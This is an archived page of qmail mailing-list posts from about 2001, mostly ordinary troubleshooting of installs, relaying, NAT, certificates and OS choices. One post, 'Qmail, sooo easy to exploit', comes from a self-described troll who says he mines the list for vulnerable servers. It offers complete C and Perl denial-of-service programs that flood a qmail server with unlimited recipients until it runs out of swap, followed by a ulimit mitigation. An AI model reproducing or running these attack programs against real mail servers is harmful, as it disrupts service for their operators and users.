Flame Bait: Using Qmail as a front-line mail server
First, let me say I've searched the archives, Google and numerous other sources BEFORE I decided to post this. I do not desire the attacks that the qmail list is infamous for. The company I work for, a mid-sized ISP, uses Sendmail as the primary MTA for our clients. Given the downturn in the economy, my superiors are very reluctant to budget any kind of switch to Qmail despite my best efforts. As a result, I am stuck with running Qmail on secondary servers. Now the point: Unfortunately, our systems were extremely overloaded by the SirCam virus, and I have been tasked with finding a solution. While I could simply find one that incorporates with Sendmail, I believe this will simply overload our primary mail server. Therefore, I want to use one of the servers running Qmail to do the virus scanning and then send the mail to the primary mail server. Both incoming and outgoing mail must be scanned. Here is my question: 1. Is it possible to list the Qmail server as the primary MX record and still forward the mail to its final destination? All my research says no, but I need to be certain. 2. If #1 is possible, could your generously provide some real world suggestions on how this can be done? Thank you, -- Steve
Re: Dan, how do we solve this problem?
Although I'm no expert in qmail (still getting the feet wet here), I am a network engineer. What this individual really should do is go back to their ISP and ask for a fixed IP address that isn't part of a dial-up users group. Trying to run a mail server - ANY mail server - over a dialup IP is certain to lead to headaches. There are, however, other problems to consider. Many mail servers do a reverse-DNS lookup to verify that the mail is coming from an address that is a valid MX record. Without a fixed IP address to bind to an MX record, this mail sysop is headed for additional troubles. -Steve > A user on this mailing list has a problem. He has a fast non- static > IP ADSL connection, which is listed on the DUL. The non- default route > was a slow second internet connection with a static IP and which was > not listed on the DUL. He has several choices that I can see: > > 1) Try to get his fast connection removed from the DUL. That's not > acceptable since he doesn't have a fixed IP address. > > 2) Let his SMTP client connections go out from the IP address on the > DUL. This isn't acceptable because anybody subscribing to the DUL > will reject his email. > > 3) Use a wildcard smtproutes entry to redirect his email to his ISP's > email relay. This isn't acceptable because he doesn't want to have to > trust his ISP. He wants to be able to look in his log files and know > that the email has been accepted by the recipient's SMTP server. > > 4) He could change the default route to point to the slow connection. > Obviously unacceptable. > > 5) He simply MUST convince qmail-remote to bind to the IP address of > the slow non-DUL interface. Unfortunately, there is no way to do that > short of patching qmail. Why should he have to patch qmail in order > to add a feature he needs? As you've said yourself, the problem with > people offering patches is that you don't get an indication of how > many people are using the patch. > > 6) His only acceptable alternative to patching qmail is to try to > convince you to add this as a feature to qmail. Other people have > tried to get this feature added, and you've called their desire > "frivolous". He doesn't hold out much hope for success. > > What should he do? Give up on convincing you and patch qmail? > > -- > -russ nelson <[EMAIL PROTECTED]> http://russnelson.com > Crynwr sells support for free software | PGPok | > 521 Pleasant Valley Rd. | +1 315 268 1925 voice | #exclude > Potsdam, NY 13676-3213 | +1 315 268 9201 FAX | >
Automatic BCC of all outgoing mail
Does anyone know how to automatically send a copy of all outgoing email from all addresses on a qmail machine to a remote address (e.g. for legal compliance) - or just to save it locally in the log, and to do this without requiring a recompile of qmail? Steve Leeke
Qmail, sooo easy to exploit
I'm a little Troll, I'm looking for some servers to exploit. I look through this list
to find the vulnerable qmail servers; you know, newbies that give out tooo much info
because the list regulars like Frank Tegtmeyer beat up on newbies and pressure them to
give out way too much info.
Any of you guys ever see "your company's computer guy" on SNL? That is some funny
shit. Well you guys know who you are.
here is some code to try ya'll, once you get the info you need.
/*
* qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
* amount of recipients.
*
* Usage: qmail-dos-2 fully-qualified-hostname
*
* Author: Wietse Venema. The author is not responsible for abuse of this
* program. Use at your own risk.
*/
#include
#include
#include
#include
#include
#include
#include
#include
voidfatal(char *fmt,...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
putc('\n', stderr);
exit(1);
}
chat(FILE * fp, char *fmt,...)
{
charbuf[BUFSIZ];
va_list ap;
fseek(fp, 0L, SEEK_SET);
va_start(ap, fmt);
vfprintf(fp, fmt, ap);
va_end(ap);
fputs("\r\n", fp);
if (fflush(fp))
fatal("connection lost");
fseek(fp, 0L, SEEK_SET);
if (fgets(buf, sizeof(buf), fp) == 0)
fatal("connection lost");
if (atoi(buf) / 100 != 2)
fatal("%s", buf);
}
int main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
charbuf[BUFSIZ];
int sock;
FILE *fp;
if (argc != 2)
fatal("usage: %s host", argv[0]);
if ((hp = gethostbyname(argv[1])) == 0)
fatal("host %s not found", argv[1]);
memset((char *) &sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
sin.sin_port = htons(25);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fatal("socket: %s", strerror(errno));
if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
fatal("connect to %s: %s", argv[1], strerror(errno));
if ((fp = fdopen(sock, "r+")) == 0)
fatal("fdopen: %s", strerror(errno));
if (fgets(buf, sizeof(buf), fp) == 0)
fatal("connection lost");
chat(fp, "mail from:", fp);
for (;;)
chat(fp, "rcpt to:", argv[1]);
}
/*
-- qmail.pl --
#!/usr/local/bin/perl -w
# $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $
require 5.002;
use strict;
use Socket;
if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;}
my $port = 25; my $proto = getprotobyname("tcp");
my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]";
my $paddr = sockaddr_in($port, $iaddr);
socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!";
connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!";
send(SKT,"mail from: \n",0) || die "send() $!";
my $infstr = "rcpt to: \n"; print("Attacking..","\n");
while(){
send(SKT,$infstr,0) || die "send() $!";
}
die "Connection lost!";
-- qmail.pl --
*/
/* Here is the Patch for qmail -
If you are using tcpserver it should be sufficient to set the ulimit
once in the startup script. All instances of qmail-smtpd inherit the
limit without further overhead. Seems to be working fine here.
echo "Starting tcpserver for qmail-smtpd..."
ulimit -d 2048
/usr/local/bin/tcpserver -v -u 61 -g 61 0 smtp /usr/local/bin/tcpcontrol \
/etc/tcp.smtp.cdb /var/qmail/bin/qmail-smtpd 2>&1 | \
/var/qmail/bin/splogger smtpd 3 &
*/
Re: [ot] on trust of SSL-certificates (was: stunnel and qmail-threads)
Ah cert's from Thawte are only $125... get one. Side comment: I do find it annoying that cert's are service specific or "wildcard" cert's cost $500 and may not work with everything. If you are going to need separate cert's for www, mail, news, etc. it may be worth investigating the wildcard version. Does anyone know which clients can't deal with them? > Is there anyone using verisign or other "trusted" CA-signed > certificates for your stunnel-connections (pop3, smtp et al)? > > What I really want to know is of course if you find it in any way > meaningful to use ssl-encryption without being able to trust the > certificates? Crypto is fine, but with these nice > man-in-the-middle-attack tools that exists today it may just give a > false sense of security. > > What's your opinion? > > Or don't we want to discuss serious things on this list? > > /magnus
Re: Virus-infected listmembers
I think it would be very considerate of the list members if whoever runs this mailing list would PLEASE wake up and ban the living daylights out of Wilson and his barrage of viruses. "Knock, knock - hello, McFly?" :-) -Steve > Wilson is going to start costing me cash. I am in Australia on a cable > service and have to pay 28c per MB > > Jon Booth >
.qmail scripting
Hi, I need to build a script that runs from a .qmail file and does a few side tasks but doesn't interfere with the normal mail delivery. This is to send an email or pager notification when mail arrives (ideally which will include who the message is from). Can someone point me at some descent documentation about writing .qmail scripts or point me to a script that does something close to what I need and I can hack. I guess the problem is that I don't understand the environment that the script is given and though I have looked around I haven't seen any documentation that describes what the inputs are and what the output options are. If there was some basic documentation covering the inputs and outputs I would be on my way. Many Thanks. Steve
RE: multiple qmail-send
The only way you would have more than 1 instance of qmail-send is if you had more than one queue, ie a multiqueueing environment .. 1 queue for receiving, 1 for preprocessing and 1 for sending.. Steve > -Original Message- > From: Daniel BODEA [mailto:[EMAIL PROTECTED]] > Sent: 18 July 2001 22:14 > To: [EMAIL PROTECTED]; Lukas Beeler > Subject: Re: multiple qmail-send > > > Please excuse my HTML side of the email. Won't happen again. > > I wasn't asking about qmail-remote or qmail-local. What I was asking is > "Could I EVER see more than 1 qmail-send process running on my > system ?". If > I'm not mistaken, it's the qmail-send process the one that adds bounce > addresses to the bounce directory and it's there that I haven't seen any > locking system. Plus qmail-send relies on the good old select > method to poll > its inputs so the flow is synchronous. > > Dan > > - Original Message - > From: "Lukas Beeler" <[EMAIL PROTECTED]> > To: "Daniel BODEA" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> > Sent: Wednesday, July 18, 2001 9:52 PM > Subject: Re: multiple qmail-send > > > > At 21:40 18.07.2001 +0200, Daniel BODEA wrote: > > >Can there be, in the normal flow of qmail, multiple instances of > > >qmail-send running at the same time (?) > > > > yes of course... what do you think is the concurrency limit for ? > > exactly that > > > > > because multithreaded it's not, and I haven't seen any locking > > > mechanisms for the ressources qmail-send accesses directly. > > > > each of those processes send ONE individual message.. so there isn't any > > locking machanism needed > > > > > > > >Thanks, > > >Dan > > > > and in future, please write text/plain and not text/html > > > > -- > > Lukas "Maverick" Beeler / Telematiker > > Project: D.R.E.A.M / every.de - Your Community > > Web: http://www.projectdream.org > > Mail: [EMAIL PROTECTED] > > >
data 451 qq trouble creating files in queue (#4.3.0)
I have just built a Dual processor machine with a 70Gb RAID array as a large MTA to handle a large amount of outbound mail for a client. Eventually I decided to run qmail on this box, possibly qith several installations multiqueueing. I have recently begun load and throughput testing and have come across some strange goings on, I frequently get the message data 451 qq trouble creating files in queue (#4.3.0) I have found a couple of mails in the list pertaining to this, but they all suggest queue corruption that can be fixed with queue-fix, this is not the case here, queue-fix find no problem with the queue. I am running qmail 1.03 (Patched with big-concurrency, big-todo, qmailqueue and reiser-qmail) with daemontools / ucspi on Linux 2.4.3 kernel .. I am not useing reiser, the queue is on an ext2fs partition. Has anybody else had similar problem ? Steve Wilson -- If a packet hits a pocket on a socket on a port, And the socket has an error and the packet isn't caught, And the bus is interrupted as a very last resort, then the socket packet pocket has an error to report!
Re: Qmail and NAT
Sorry... I thought it was working on my system that way. I guess the difference for me is that I have qmail accepting the mail itself. Steve > On Thu, Jul 12, 2001 at 10:37:26AM -0400, Steve wrote: >> The easiest way is to make the qmail server think that the machine >> yourdomain.com is your excchange server. Just add a line to the >> etc/hosts on the qmail server... > > This doesn't buy you anything. qmail never uses /etc/hosts but always > DNS. -- > * Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de * > * Roedingsmarkt 14, 20459 Hamburg, Germany * > Unix is very simple, but it takes a genius to understand the > simplicity. (Dennis Ritchie) --- wherever you go, there you are
Re: Qmail and NAT
The easiest way is to make the qmail server think that the machine yourdomain.com is your excchange server. Just add a line to the etc/hosts on the qmail server... If you are running your own DNS you could fix it there. Steve
question about autoresponder varient
I would like to implement a feature that sends a brief email to another email address when mail arrives for a user. I think it can be handled from the .qmail file but I was hoping someone could give me some pointers. Thanks, Steve
Quick question re maildir
Hi all, Thanks for the great help from this group in the past. I plan to begin the migration process to qmail in the coming days and weeks, and as part of the planning process am wondering if the general consensus is that the "maildir" method is the way to go. Appreciate comments/advice. Cheers, Steve
SMTP AUTH + MYSQL Checkpassword
Hi, I've read all that I can find on the subject and tried to build this setup a few different ways with a few peoples patches and all with no luck. I built checkpassword .9 setup for MySQL... if I test it it works. I built qmail-smtpd with the patch to authenticate and call checkpassword. Eric M. Johnston's YAQSAP. Unfortunately when I put it together it doesn't work. The behavior I see is that it does not respond to the connection and I also see another qmail-smtpd process fire up and get stuck. I can make a check password that always _exit(1) or _exit(0) and then the authentication process seems to work... the dialog box pops up in Outlook. Any ideas? Even some suggestions on how to better debug would be great because I find that qmail-smtpd does not log any error messages. Thanks, Steve
OT: Solaris vs. Linux vs. FreeBSD
> Wrong sorry. Actually the reason why most companies choose to have > Solaris, Is that Wall Street (If your in the US and a technology company > wanting to go public) will look at the OS that your company uses and it does > have some effect on what your IPO is going to be. I'd disagree with that somewhat. One of the major reasons for Sun Microsystem's success in the 1990's was because they would sell their high end machines to sketchy start up dot coms while others like Compaq, IBM, HP etc would not. It was a lot easier to arrange a payment plan with Sun for their servers than say IBM. And remember, the free *nix's like BSD and Linux were no where near production grade in the early 90's. FYI. -- Steve > Sean > > From: "Niles Rowland" Sent: Thursday, June 28, 2001 12:07 AM > > > > > > [EMAIL PROTECTED] wrote: > > > > > > I understand that Free BSD and Linux are the overwhelming choices of > > the > > > Internet pornography industry. That is a good technical figure of > > merit, > > > because it means these servers are stable (for HTTP) when getting > > lots and > > > lots of hits. > > > > > > > Actually, Linux and FreeBSD are the systems of choice in startup porn > > companies because of their low cost. Once a company begins to move > > major traffic they find that low cost systems have too many > > limitations to handle what the leaders of the company want to do. > > This is when they use their new found wealth to buy Solaris. > > > > > > > >
Re: RE: RE: RE: Problem with VAR directory during install
Installed Groff and all is well now. Criminy! Mandrake 8.0 apparently doesn't install Groff as part of the load. I RPM'd it in and all is fine. The beer is on me tonight. -Steve > James Stevens <[EMAIL PROTECTED]> wrote: > > > So the reason why he hasn't gotten to it yet was because of > > me.. Anyways, he's done everything I have done and he is still having the > > problem. > > That's okay. Looks like a simple problem; he was missing a tool (nroff), so > the make couldn't complete. > > > I've been told it makes no difference but I always (for the past year > > anyways) install qmail using 'make setup check' then 'make setup' People > > have told me this is repetitve but thats the way I do it (shrug) Question > > now is just for clarification with this problem.. Does it make a diff or > > not? > > It shouldn't make a difference. When you do "make setup check" it's like > doing "make setup" followed by "make check". Running "make setup" again when > it's done should just exit with "nothing to do" or a similar message from > make, as none of the files which are dependencies for the targets have > changed. > > Charles > -- > --- > Charles Cazabon <[EMAIL PROTECTED]> > GPL'ed software available at: http://www.qcc.sk.ca/~charlesc/software/ > --- >
Re: qmail Installation
OK, done. I recompiled again with the same results and you can access the log here: http://www.reedelectronics.com/steve/qmail.log Thanks. > > 3) Post /tmp/qmail.log to a website for further review, since you're >obviously not providing enough information here. > > --Adam >
Re: RE: RE: RE: Problem with VAR directory during install
OK, the text file is attached with what occurs during the "make setup check". -Steve [root@mail root]# cd /usr/local/src/qmail-1.03 [root@mail qmail-1.03]# make setup check ( cat warn-auto.sh; \ echo CC=\'`head -1 conf-cc`\'; \ echo LD=\'`head -1 conf-ld`\' \ ) > auto-ccld.sh cat auto-ccld.sh make-load.sh > make-load chmod 755 make-load cat auto-ccld.sh find-systype.sh > find-systype chmod 755 find-systype ./find-systype > systype ( cat warn-auto.sh; ./make-load "`cat systype`" ) > load chmod 755 load cat auto-ccld.sh make-compile.sh > make-compile chmod 755 make-compile ( cat warn-auto.sh; ./make-compile "`cat systype`" ) > \ compile chmod 755 compile ( ( ./compile tryvfork.c && ./load tryvfork ) >/dev/null \ 2>&1 \ && cat fork.h2 || cat fork.h1 ) > fork.h rm -f tryvfork.o tryvfork ./compile qmail-local.c qmail-local.c: In function `main': qmail-local.c:448: warning: return type of `main' is not `int' ./compile qmail.c ./compile quote.c ./compile now.c ./compile gfrom.c ./compile myctime.c ./compile slurpclose.c cat auto-ccld.sh make-makelib.sh > make-makelib chmod 755 make-makelib ( cat warn-auto.sh; ./make-makelib "`cat systype`" ) > \ makelib chmod 755 makelib ./compile case_diffb.c ./compile case_diffs.c ./compile case_lowerb.c ./compile case_lowers.c ./compile case_starts.c ./makelib case.a case_diffb.o case_diffs.o case_lowerb.o \ case_lowers.o case_starts.o ./compile getln.c ./compile getln2.c ./makelib getln.a getln.o getln2.o ./compile subgetopt.c ./compile sgetopt.c ./makelib getopt.a subgetopt.o sgetopt.o ./compile sig_alarm.c ( ( ./compile trysgprm.c && ./load trysgprm ) >/dev/null \ 2>&1 \ && echo \#define HASSIGPROCMASK 1 || exit 0 ) > hassgprm.h rm -f trysgprm.o trysgprm ./compile sig_block.c ( ( ./compile trysgact.c && ./load trysgact ) >/dev/null \ 2>&1 \ && echo \#define HASSIGACTION 1 || exit 0 ) > hassgact.h rm -f trysgact.o trysgact ./compile sig_catch.c ./compile sig_pause.c ./compile sig_pipe.c ./compile sig_child.c ./compile sig_hup.c ./compile sig_term.c ./compile sig_bug.c ./compile sig_misc.c ./makelib sig.a sig_alarm.o sig_block.o sig_catch.o \ sig_pause.o sig_pipe.o sig_child.o sig_hup.o sig_term.o \ sig_bug.o sig_misc.o ./compile open_append.c ./compile open_excl.c ./compile open_read.c ./compile open_trunc.c ./compile open_write.c ./makelib open.a open_append.o open_excl.o open_read.o \ open_trunc.o open_write.o ./compile seek_cur.c ./compile seek_end.c ./compile seek_set.c ./compile seek_trunc.c ./makelib seek.a seek_cur.o seek_end.o seek_set.o \ seek_trunc.o ( ( ./compile tryflock.c && ./load tryflock ) >/dev/null \ 2>&1 \ && echo \#define HASFLOCK 1 || exit 0 ) > hasflock.h rm -f tryflock.o tryflock ./compile lock_ex.c ./compile lock_exnb.c ./compile lock_un.c ./makelib lock.a lock_ex.o lock_exnb.o lock_un.o ./compile fd_copy.c ./compile fd_move.c ./makelib fd.a fd_copy.o fd_move.o ( ( ./compile trywaitp.c && ./load trywaitp ) >/dev/null \ 2>&1 \ && echo \#define HASWAITPID 1 || exit 0 ) > haswaitp.h rm -f trywaitp.o trywaitp ./compile wait_pid.c ./compile wait_nohang.c ./makelib wait.a wait_pid.o wait_nohang.o ./compile env.c ./compile envread.c ./makelib env.a env.o envread.o ./compile stralloc_eady.c ./compile stralloc_pend.c ./compile stralloc_copy.c ./compile stralloc_opys.c ./compile stralloc_opyb.c ./compile stralloc_cat.c ./compile stralloc_cats.c ./compile stralloc_catb.c ./compile stralloc_arts.c ./makelib stralloc.a stralloc_eady.o stralloc_pend.o \ stralloc_copy.o stralloc_opys.o stralloc_opyb.o \ stralloc_cat.o stralloc_cats.o stralloc_catb.o \ stralloc_arts.o ./compile alloc.c ./compile alloc_re.c ./makelib alloc.a alloc.o alloc_re.o ./compile strerr_sys.c ./compile strerr_die.c ./makelib strerr.a strerr_sys.o strerr_die.o ./compile substdio.c ./compile substdi.c ./compile substdo.c ./compile subfderr.c ./compile subfdout.c ./compile subfdouts.c ./compile subfdin.c ./compile subfdins.c ./compile substdio_copy.c ./makelib substdio.a substdio.o substdi.o substdo.o \ subfderr.o subfdout.o subfdouts.o subfdin.o subfdins.o \ substdio_copy.o ./compile error.c ./compile error_str.c ./compile error_temp.c ./makelib error.a error.o error_str.o error_temp.o ./compile str_len.c ./compile str_diff.c ./compile str_diffn.c ./compile str_cpy.c ./compile str_chr.c ./compile str_rchr.c ./compile str_start.c ./compile byte_chr.c ./compile byte_rchr.c ./compile byte_diff.c ./compile byte_copy.c ./compile byte_cr.c ./compile byte_zero.c ./makelib str.a str_len.o str_diff.o str_diffn.o str_cpy.o \ str_chr.o str_rchr.o str_start.o byte_chr.o byte_rchr.o \ byte_diff.o byte_copy.o byte_cr.o byte_zero.o ./compile fmt_str.c ./compile fmt_strn.c ./compile fmt_uint.c ./compile fmt_uint0.c ./compile fmt_ulong.c ./compile scan_ulong.c .
Re: RE: RE: RE: Problem with VAR directory during install
I sincerely apologize for overlooking your request for the setup log. Will recompile now and post one. -Steve > Steve Reed <[EMAIL PROTECTED]> wrote: > > > The compile does run. But when it's over > > with the /var/qmail directory is as empty as the bottom of a dry > > well. > > The only proof that the compile and install goes correctly is your word -- and > since nothing ends up in /var/qmail, obviously that's incorrect. > > The last time you said this, I requested you post a copmlete log of the "make > setup check" procedure so we could see it. You've ignored that, twice. No > one can help you without that information. > > If you don't want to post that information to the list (or put it on a web > server and post the URL), hire a qmail consultant to fix it for you. The list > can't be of any help if you won't give us the information we need. > > Charles > -- > --- > Charles Cazabon <[EMAIL PROTECTED]> > GPL'ed software available at: http://www.qcc.sk.ca/~charlesc/software/ > --- >
qmail Installation
Someone just sent me a note and said they were able to install qmail without a problem on Mandrake 8. I just downloaded the very latest ISOs and qmail still won't install for me. So, assuming that I must be doing something totally asinine, here is exactly, step by step, what I am doing. Hopefully some kind soul can read this and tell me what I'm doing wrong: 1. Download the qmail compressed file into the /usr/local/src directory. 2. Decompress the file, creating /usr/local/src/qmail-1.03. 3. Create the /var/qmail directory (yes I'm logged on as root). 4. Modify INSTALL.ids using the first section for Linux. It does create the users and groups. 5. Do a "make setup check" in the /usr/local/src/qmail-1.03 directory. It runs and is busy compiling. 6. When compile is finished, the /var/qmail directory is still empty. So, when I try to do the ./config it of course errors out because it can't find the right directories in /var/qmail. Soany ideas? -Steve
Re: Problem with VAR directory during install
Thanks. In the meantime, I'm almost finished downloading the very latest ISOs for Mandrake 8 (dated 6-19). I'll reload the box and try again. > I have that on my workstation.. Give me a few as I don't have any mailer > installed on it at all right now.. I'll copy the setup files over to it and > give it a try and let ya know. > > I just built that workstation tuesday and have not had time to do anything > on it so it is as basic and completely void as you can get I dare say. > > --JT > - Original Message - > From: "Steve Reed" <[EMAIL PROTECTED]> > To: "System Administrator" <[EMAIL PROTECTED]>; "Steve Reed" > <[EMAIL PROTECTED]> > Cc: <[EMAIL PROTECTED]> > Sent: Thursday, June 28, 2001 2:46 PM > Subject: Re: RE: RE: Problem with VAR directory during install > > > > I'm running Mandrake 8.0. > > > > > I'm Running Linux Mandrake 7.2 and actually have 6 seperate > > qmail installs > > > running on that machine and have been running on it for over a > > year. The OS > > > actually started out as Mandrake 7.0 then upgraded to 7.1 and > > then 7.2 and > > > have not had any problems. Now I thought maybe it was the > > latest Mandrake > > > you might be having problems with so I edited my files and > > installed a 7th > > > qmail service on my machine and it compiled just fine. > > Then I deleted it > > > and did it again.. Still compiled just fine.. I have no idea > > what is going > > > on with your system but it is not an OS level issue unless > > there is > > > something physically wrong with your OS installation > > itself I sugest > > > doing a recopilation of the OS and try qmail again.. > > > > > > Side note I use the gz download of qmail not the RPM so if > > your using the > > > RPM package ignore this message then ;) > > > > > > cheers > > > > > > --JT > > > - Original Message - > > > From: "Steve Reed" <[EMAIL PROTECTED]> > > > To: "Charles Cazabon" <[EMAIL PROTECTED]>; > > <[EMAIL PROTECTED]> > > > Sent: Thursday, June 28, 2001 1:47 PM > > > Subject: Re: RE: RE: Problem with VAR directory during install > > > > > > > > > > The compile runs, but when it's all over with there is > > nothing > > > > in the /var/qmail directory to work with. > > > > > > > > -Steve > > > > > > > > > > > > > Steve Reed <[EMAIL PROTECTED]> wrote: > > > > > > I've checked everything except the phase of the moon and > > my > > > > white blood cell > > > > > > count. I've probably memorized the docs by now. qmail > > will > > > > simply NOT > > > > > > compile correctly on the latest Mandrake. > > > > > > > > > > You said earlier that the problem was "nothing ends up > > > > in /var/qmail/". > > > > > Now you say it doesn't compile. Which is true? If it > > doesn't > > > > compile, you > > > > > should expect anything to end up in /var/qmail/, because > > > > that's the "setup" > > > > > (install) step, which comes after compiling is complete. > > > > > > > > > > If you want further help, please run the following script. > > > > Make sure > > > > > qmail-1.03.tar.gz is in /usr/local/src/ first. Adjust the > > > > path to bash as > > > > > necessary. This will do a vanilla compile & install of > > > > unpatched qmail 1.03. > > > > > > > > > > #!/bin/bash > > > > > ( > > > > > mv /var/qmail /var/qmail.old > > > > > rm -rf /usr/local/src/qmail-1.03 > > > > > cd /usr/local/src > > > > > gunzip -c qmail-1.03.tar.gz | tar -xf - qmail- 1.03.tar.gz > > > > > cd qmail-1.03 > > > > > make setup check > > > > > ) >/tmp/qmail-setup-log.txt 2>&1 > > > > > > > > > > > > > > > Then post /tmp/qmail-setup-log.txt on the web somewhere, > > and > > > > send a URL to > > > > > this list. We need to see all of the output of the build > > > > process, I think, to > > > > > find what your problem is. > > > > > > > > > > Charles > > > > > -- > > > > > --- > > > > > > > > > > > Charles Cazabon > > > > <[EMAIL PROTECTED]> > > > > > GPL'ed software available at: > > > > http://www.qcc.sk.ca/~charlesc/software/ > > > > > --- > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
Re: RE: RE: RE: Problem with VAR directory during install
Exactly. I'm running Mandrake 8.0, have reloaded from scratch over a half dozen times, double checked and triple checked the permissions, etc. The compile does run. But when it's over with the /var/qmail directory is as empty as the bottom of a dry well. -Steve > so you ran "make setup check" and nothing was in /var/qmail ? > > > -----Original Message- > From: Steve Reed [mailto:[EMAIL PROTECTED]] > Sent: Thursday, June 28, 2001 4:47 PM > To: Charles Cazabon; [EMAIL PROTECTED] > Subject: Re: RE: RE: Problem with VAR directory during install > > > The compile runs, but when it's all over with there is nothing > in the /var/qmail directory to work with. > > -Steve > > > > Steve Reed <[EMAIL PROTECTED]> wrote: > > > I've checked everything except the phase of the moon and my > white blood cell > > > count. I've probably memorized the docs by now. qmail will > simply NOT > > > compile correctly on the latest Mandrake. > > > > You said earlier that the problem was "nothing ends up > in /var/qmail/". > > Now you say it doesn't compile. Which is true? If it doesn't > compile, you > > should expect anything to end up in /var/qmail/, because > that's the "setup" > > (install) step, which comes after compiling is complete. > > > > If you want further help, please run the following script. > Make sure > > qmail-1.03.tar.gz is in /usr/local/src/ first. Adjust the > path to bash as > > necessary. This will do a vanilla compile & install of > unpatched qmail 1.03. > > > > #!/bin/bash > > ( > > mv /var/qmail /var/qmail.old > > rm -rf /usr/local/src/qmail-1.03 > > cd /usr/local/src > > gunzip -c qmail-1.03.tar.gz | tar -xf - qmail-1.03.tar.gz > > cd qmail-1.03 > > make setup check > > ) >/tmp/qmail-setup-log.txt 2>&1 > > > > > > Then post /tmp/qmail-setup-log.txt on the web somewhere, and > send a URL to > > this list. We need to see all of the output of the build > process, I think, to > > find what your problem is. > > > > Charles > > -- > > - -- > > > Charles Cazabon > <[EMAIL PROTECTED]> > > GPL'ed software available at: > http://www.qcc.sk.ca/~charlesc/software/ > > - -- > > > > > >
Re: RE: RE: Problem with VAR directory during install
I'm running Mandrake 8.0. > I'm Running Linux Mandrake 7.2 and actually have 6 seperate qmail installs > running on that machine and have been running on it for over a year. The OS > actually started out as Mandrake 7.0 then upgraded to 7.1 and then 7.2 and > have not had any problems. Now I thought maybe it was the latest Mandrake > you might be having problems with so I edited my files and installed a 7th > qmail service on my machine and it compiled just fine. Then I deleted it > and did it again.. Still compiled just fine.. I have no idea what is going > on with your system but it is not an OS level issue unless there is > something physically wrong with your OS installation itself I sugest > doing a recopilation of the OS and try qmail again.. > > Side note I use the gz download of qmail not the RPM so if your using the > RPM package ignore this message then ;) > > cheers > > --JT > - Original Message - > From: "Steve Reed" <[EMAIL PROTECTED]> > To: "Charles Cazabon" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> > Sent: Thursday, June 28, 2001 1:47 PM > Subject: Re: RE: RE: Problem with VAR directory during install > > > > The compile runs, but when it's all over with there is nothing > > in the /var/qmail directory to work with. > > > > -Steve > > > > > > > Steve Reed <[EMAIL PROTECTED]> wrote: > > > > I've checked everything except the phase of the moon and my > > white blood cell > > > > count. I've probably memorized the docs by now. qmail will > > simply NOT > > > > compile correctly on the latest Mandrake. > > > > > > You said earlier that the problem was "nothing ends up > > in /var/qmail/". > > > Now you say it doesn't compile. Which is true? If it doesn't > > compile, you > > > should expect anything to end up in /var/qmail/, because > > that's the "setup" > > > (install) step, which comes after compiling is complete. > > > > > > If you want further help, please run the following script. > > Make sure > > > qmail-1.03.tar.gz is in /usr/local/src/ first. Adjust the > > path to bash as > > > necessary. This will do a vanilla compile & install of > > unpatched qmail 1.03. > > > > > > #!/bin/bash > > > ( > > > mv /var/qmail /var/qmail.old > > > rm -rf /usr/local/src/qmail-1.03 > > > cd /usr/local/src > > > gunzip -c qmail-1.03.tar.gz | tar -xf - qmail-1.03.tar.gz > > > cd qmail-1.03 > > > make setup check > > > ) >/tmp/qmail-setup-log.txt 2>&1 > > > > > > > > > Then post /tmp/qmail-setup-log.txt on the web somewhere, and > > send a URL to > > > this list. We need to see all of the output of the build > > process, I think, to > > > find what your problem is. > > > > > > Charles > > > -- > > > --- > > > > > Charles Cazabon > > <[EMAIL PROTECTED]> > > > GPL'ed software available at: > > http://www.qcc.sk.ca/~charlesc/software/ > > > --- > > > > > > > > > > >
Re: RE: RE: Problem with VAR directory during install
The compile runs, but when it's all over with there is nothing in the /var/qmail directory to work with. -Steve > Steve Reed <[EMAIL PROTECTED]> wrote: > > I've checked everything except the phase of the moon and my white blood cell > > count. I've probably memorized the docs by now. qmail will simply NOT > > compile correctly on the latest Mandrake. > > You said earlier that the problem was "nothing ends up in /var/qmail/". > Now you say it doesn't compile. Which is true? If it doesn't compile, you > should expect anything to end up in /var/qmail/, because that's the "setup" > (install) step, which comes after compiling is complete. > > If you want further help, please run the following script. Make sure > qmail-1.03.tar.gz is in /usr/local/src/ first. Adjust the path to bash as > necessary. This will do a vanilla compile & install of unpatched qmail 1.03. > > #!/bin/bash > ( > mv /var/qmail /var/qmail.old > rm -rf /usr/local/src/qmail-1.03 > cd /usr/local/src > gunzip -c qmail-1.03.tar.gz | tar -xf - qmail-1.03.tar.gz > cd qmail-1.03 > make setup check > ) >/tmp/qmail-setup-log.txt 2>&1 > > > Then post /tmp/qmail-setup-log.txt on the web somewhere, and send a URL to > this list. We need to see all of the output of the build process, I think, to > find what your problem is. > > Charles > -- > --- > Charles Cazabon <[EMAIL PROTECTED]> > GPL'ed software available at: http://www.qcc.sk.ca/~charlesc/software/ > --- >
Re: RE: RE: Problem with VAR directory during install
Hmmm...I wonder why my Mandrake 8 install won't cooperate. I've reloaded the OS a half dozen times, each time more careful than the previous, and to make a long story short when you do the make absolutely nothing goes into the /var/qmail directory. The install basically goes nowhere. I also noticed that this directory has owner as root and group as root, which is the way it should be if you follow the instructions to the letter, but linuxconf whines that the qmail special users don't have access to the /var/qmail directory because they are in different groups. One thing: the /var directory is actually two 17GB SCSI drives running in Linux Raid 1 (mirroring). Do you think it's possible the mirroring is screwing things up? -Steve > Just for the sake of argument I have a Mandrake 8 machine that runs qmail > fine with the directions from LWQ > I also have a Mandrake Cooker machine (pre8.1) that I installed qmail fine. > > Nothing wierd, just word for word from LWQ. > Still I prefer debian but this was for a friend who likes the "ease" of > Mandrake, and true enough its pretty simple. > > -Original Message- > From: Steve Reed [mailto:[EMAIL PROTECTED]] > Sent: Monday, June 